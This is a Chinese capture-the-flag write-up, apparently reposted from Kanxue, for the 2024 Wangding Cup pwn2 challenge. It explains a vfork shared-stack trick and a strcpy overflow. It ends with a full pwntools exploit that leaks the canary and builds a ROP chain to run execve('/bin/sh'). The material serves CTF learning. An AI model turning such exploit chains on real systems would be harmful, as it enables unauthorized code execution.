做这道题网上找的wp很多地方说的很笼统,自己就记录了一下解题过程。
解题思路:
1.打开ida,发现程序没有符号表没找到main函数,然后先执行一下程序看看:
2.发现输出了一个gift,应该是类似于是canary的值,在ida中找到gift字符串然后查看交叉引用找到了下面这个函数然后在gdb中下断点查看bt调用栈:
3.发现这个输出gift的函数是0x401866处调用的,这段程序3个函数,第一个函数是做一些初始化工作,第二个函数调用了vfork函数创建了子进程,然后子进程返回执行了第三个函数然后在第三函数中执行了exit函数退出,主进程执行read函数在输入描述符读取一个字节,然后比对了rbp-0x28,如果不是1则puts一句It's impossible ,然后退出,否则验证完canary后retn:(注:vfork函数创建一个子进程,父进程等待子进程结束以后才继续运行)
4.经过分析发现第三个函数是子进程执行的,第二个函数是主进程执行的,唯一的交叉点就在rbp-0x28这,因为vfork调用是公用的栈空间,子进程是在第三函数内部执行exit结束的,但是调用第三函数的时候返回地址已经压栈了,也就是说,如果rbp-0x28=1的话,主进程会返回到第三个函数下面的指令:
5.分析第三函数,怎么能实现让主进程rbp-0x28=1,第三函数使用栈空间0x50,然后使用read函数读取了0x40个字节的输入,第二个函数使用了0x30个字节的栈空间,因为vfork公用栈,所以,虽然read函数没有溢出风险,但是我们可以控制rbp-0x28=1
6.接下来就是分析跳转过去以后的代码,同样的套路,使用vfork执行子进程,主进程如果rbp-0x11c=0x11111111那么ret返回,子进程read读取了0x100个字节也没有溢出风险,但是,下面这个函数中调用了strcopy函数发生了溢出,分析发现strcopy函数从read读取的0x100字节的位置开始往自己栈空间复制,但是自己栈帧只有0x60大小,所以会溢出,但是执行完strcopy后调用了exit退出,我们无法控制执行流程,但是可以覆盖上层栈帧的一些内容比如rbp-0x11c的值和read的参数。
7.由于主线程检查rbp-0x11c不等于0x11111111的时候会重复调用vfork子进程,所以我们覆盖read参数是有意义的,我们可以在第一次执行子进程时覆盖read的size参数,那么第二次调用时它就会溢出,(注:因为canary的值的最后一个字节经常为0x00所以strcpy的时候会截断我们后续的构造,所以我们控制执行流程不能以strcpy后的值为准,payload需要以strcpy覆盖rbp-0x11c跳出循环,然后以read的溢出构造canary和后续的ret流程):
from pwn import*
#context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode parentn b *0x401953n b *0x401995n cn cn set {long}($rbp-0x28)=1n b *0x")
#sh = process("./pwn")
#sh.sendafter("leave your name","A"*64)
#sh.sendafter("Wanna return?","B")
#sh.interactive()
rax=0x0000000000450277
rdi=0x000000000040213f
rsi=0x000000000040a1ae
rdxrbx=0x0000000000485feb
sh_addr=0x00000000004C5000
read=0x000000000044F810
syscall=0x41ac26
p=process('/home/kali/Desktop/pwn')
#p=gdb.debug("./pwn","b *0x000000000040190Cn b *0x401953n b *0x4019B0n b *0x40189Dn b *0x40190Cn set follow-fork-mode parentn ")
p.recvuntil(b'gift: ')
gift=p.recv(18)
gift=int(gift,16)
p.sendafter('leave your name',b'a'*0x28+p64(1))
p.sendafter('Wanna return?','A')
p.sendafter("once again?",b'A'*0x100)
payload=b'A'*0x60
payload+=p64(0x1111111111111111)
payload+=b'B'*0xa0
payload+=p64(gift)
payload+=b'C'*8
payload+=p64(rax)+p64(0x0)+p64(rdxrbx)+p64(0x10)*2+p64(rsi)+p64(sh_addr)+p64(rdi)+p64(0x0)+p64(syscall)
payload+=p64(rax)+p64(0x3B)+p64(rdi)+p64(sh_addr)+p64(rsi)+p64(0x0)+p64(rdxrbx)+p64(0x0)*2+p64(syscall)
p.sendafter("once again?",payload)
p.send(b'/bin/sh')
p.interactive()
看雪ID:鬥魚
https://bbs.kanxue.com/user-home-890221.htm
#
原文始发于微信公众号(看雪学苑):2024网鼎杯玄武组pwn2题目详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论